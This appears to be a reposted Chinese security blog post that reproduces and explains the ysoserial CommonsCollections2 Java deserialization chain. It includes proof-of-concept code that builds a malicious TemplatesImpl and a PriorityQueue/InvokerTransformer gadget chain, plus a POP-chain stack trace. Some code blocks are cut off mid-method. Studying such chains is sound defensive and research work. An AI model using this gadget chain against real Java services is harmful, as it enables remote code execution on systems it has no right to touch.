"Java security" deserialization - CC2 deserialization vulnerability POP chain analysis_ ysoserial CommonsCollections2 PoC analysis

Posted by danville on Thu, 10 Mar 2022 14:48:55 +0100


java selects 8u111 for reproduction

According to ysoserial prompt, CC4 is required 0 version

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->

Code reproduction

Tool class

In order to facilitate other deserialization chains, I encapsulated the code

Generate malicious TemplatesImpl:


package TemplatesGeneratorPacked;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

public class GetAbstractTranslet {
    public static byte[] generate() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("e");
        CtClass zuper = pool.get(AbstractTranslet.class.getName());

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);

        return clazz.toBytecode();


package TemplatesGeneratorPacked;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import ReflectPacked.ValueGetterSetter;

public class GetTemplatesImpl {
    public static TemplatesImpl getTemplatesImpl() throws Exception{
        byte[][] bytes = new byte[][]{GetAbstractTranslet.generate()};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        ValueGetterSetter.setValue(templates, "_bytecodes", bytes);
        ValueGetterSetter.setValue(templates, "_name", "a");
        ValueGetterSetter.setValue(templates, "_tfactory", new TransformerFactoryImpl());

        return  templates;

Reflection get/set:


package ReflectPacked;

import java.lang.reflect.Field;

public class ValueGetterSetter {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.set(obj, value);

    public static Object getValue(Object obj, String name) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        return field.get(obj);



package UnserializePacked;

import java.io.*;

public class Unserialize {
    public static void unserialize(Object obj) throws Exception{
        File f = File.createTempFile("temp", "out");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
        Object o = ois.readObject();



package cc.cc2;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;
import javax.xml.transform.Templates;

import ReflectPacked.ValueGetterSetter;
import TemplatesGeneratorPacked.GetTemplatesImpl;
import UnserializePacked.Unserialize;

public class PoC {
    public static void main(String[] args) throws Exception {
        Templates templates = GetTemplatesImpl.getTemplatesImpl();
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comparator = new TransformingComparator(transformer);

        PriorityQueue queue = new PriorityQueue(2, comparator);

        ValueGetterSetter.setValue(transformer, "iMethodName", "newTransformer");

        Object[] queueArray = (Object[]) ValueGetterSetter.getValue(queue, "queue");
        queueArray[0] = templates;



Code audit | principle analysis

1. InvokerTransformer.transform() reflection calls templatesimpl newTransformer()

TemplatesImpl. Trigger transformer_ The principle of bytecodes class loading will not be repeated

"Java security" deserialization -Jdk7u21 POP chain analysis_ ysoserial Jdk7u21 payload analysis_ TemplateImpl trigger deserialization vulnerability

When InvokerTransformer is instantiated, it passes in the specified method name, parameter type and parameter value. If transformer() is called to pass in Object, the method will be called through reflection

So we need an InvokerTransformer to call newTransformer()

2. TransformingComparator.compare() calls this transformer. transform()

compare() calls this transformer. Transform(), compare the first element first

this.transformer passes parameters from constructor

Therefore, we need to instantiate the transforming comparator and pass in the InvokerTransformer

3. PriorityQueue deserializes and calls comparator compare()

PriorityQueue overrides readObject and will call heapify()

If the comparator is set, enter the siftDownUsingComparator()

Then call comparator.. compare()

Why should PriorityQueue add another element?

If there is only one element in the PriorityQueue, it cannot enter the siftDown

And compare() also requires two elements to be passed in for comparison

Why add 1. InvokerTransformer to PriorityQueue, call toString, and then modify it by reflection?

At first, looking at the chain, I found out why reflection is used here

Because the add method of PriorityQueue will call comparator(), otherwise an error will be thrown. When instantiating PriorityQueue, InvokerTransformer needs to call the methods of int 1, so toString is called first, and then reflection is used to replace it with newTransformer

As for why not directly pass in templates, combined with the analysis of add above: if it is passed in, RCE will be triggered locally when generating the sequence payload, so it will be replaced with reflection at the end

Why modify the queue attribute when modifying the element of PriorityQueue?

Assign a value to PriorityQueue, call the add method, then continue to call the offer method, and finally store the element value in the queue

queue is an Object array. The reflection will get the address and directly modify itself instead of copying the value

POP chain

defineTransletClasses:393, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:451, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
unserialize:14, Unserialize (UnserializePacked)
main:30, PoC (cc.cc2)


Welcome to my CSDN blog: @ Ho1aAs
Copyright: Ho1aAs
Link to this article:[ https://blog.csdn.net/Xxy605/article/details/123408961](https://blog.csdn.net/Xxy605/article/details/123408961
| | |
| | |
Copyright notice: This article is original, and the source and this notice must be indicated when reprinting

Topics: Web Security